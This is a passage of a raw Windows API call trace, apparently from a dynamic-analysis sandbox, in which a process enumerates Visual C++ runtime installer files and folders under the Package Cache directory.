ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.608] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.608] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.609] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0217.609] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.610] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.610] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x9d5870d9, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.610] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x34a1fdf0, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0217.611] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.611] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.611] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0217.611] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.612] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.612] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x9d5870d9, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.612] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x34a1fdf0, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0217.612] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x34a1fdf0, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0217.613] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.613] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0217.613] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.614] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.615] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.615] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.615] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.615] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0217.616] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.616] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.616] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.617] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.617] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.617] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0217.617] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.618] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.618] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.618] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0217.619] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.619] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0217.619] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.620] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.620] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.621] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0217.621] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.621] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18637300, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0x18637300, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0x18637300, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb35c4d00, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb35c4d00, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb35c4d00, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.622] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0217.623] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.623] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fdd028, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x45016665, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x45016665, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18637300, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0x18637300, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0x18637300, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.624] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb35c4d00, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb35c4d00, 